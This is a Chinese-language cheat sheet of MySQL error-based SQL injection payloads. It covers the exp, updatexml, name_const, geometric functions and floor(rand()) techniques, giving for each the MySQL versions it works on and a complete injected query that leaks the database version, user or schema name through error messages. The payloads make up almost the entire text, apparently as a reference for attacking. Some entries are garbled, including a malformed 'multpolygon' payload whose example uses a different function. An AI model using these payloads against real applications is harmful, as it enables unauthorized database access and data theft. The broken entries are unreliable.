sql报错注入(使用方式与适用版本)
- exp()报错注入
版本要求:5.5< mysql版本 <5.6
payload
列子:and (exp(~(select * from (操作代码) a)))
SELECT * FROM db WHERE db='test' and (exp(~(select * from (SELECT VERSION()) a)))
- GeometryCollection()报错注入
版本要求:5.5< mysql版本 <5.6
payload:
例子:and geometrycollection((select * from(select * from (操作代码)a)b))
SELECT * FROM db WHERE db='test' and geometrycollection((select * from(select * from (SELECT VERSION())a)b))
- UpdateXml()报错注入
版本要求:截至8.0.13可用
payload:
例子:and updatexml(1,concat(0x7e,(操作代码),0x7e),3)
SELECT * FROM db WHERE db='test' and updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),3)
- NAME_CONST()报错注入
版本要求:截至8.0.13可用
payload:
例子:and exists(select * from (select * from(select name_const(操作代码,0)) a join (select name_const(操作代码,0)) b)c)
SELECT * FROM db WHERE db='test' and exists(select * from (select * from(select name_const(VERSION(),0)) a join (select name_const(VERSION(),0)) b)c)
- join()报错注入
- 爆破列名
版本要求:截至8.0.13可用
payload:UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
例如:
SELECT * FROM userid WHERE id = '1' UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b
- 爆破列名
- linestring()报错注入
版本:5.5< mysql版本 <5.6
例:and linestring((select * from(select * from(select user())a)b));
SELECT * FROM db WHERE db='test' and linestring((select * from(select * from(select user())a)b));
- multilinestring()报错注入
版本:5.5< mysql版本 <5.6
列:and multilinestring((select * from(select * from(select VERSION())a)b));
SELECT * FROM db WHERE db='test' and multilinestring((select * from(select * from(select VERSION())a)b));
- multpolygon()报错注入
版本:5.5< mysql版本 <5.6
例:payload:and multpolygon (()select * from(selectuser () )a)b );
SELECT * FROM db WHERE db='test' and multipoint((select * from(select * from(select VERSION())a)b));
- polygon ()报错注入
版本:5.5< mysql版本 <5.6
例:and polygon((select * from(select * from(select VERSION())a)b));
SELECT * FROM db WHERE db='test' and polygon((select * from(select * from(select VERSION())a)b));
- floor()报错注入
- 第一种(常用)
例:and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a);
SELECT * FROM category WHERE cat_id = 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- 第二种(薛定谔的猫版本,不常用)
例:union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
SELECT * FROM category WHERE cat_id = 1 union select count(*), concat((SELECT VERSION()), floor(rand()*2)) as a from information_schema.tables group by a;
- 第一种(常用)
参考文章
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html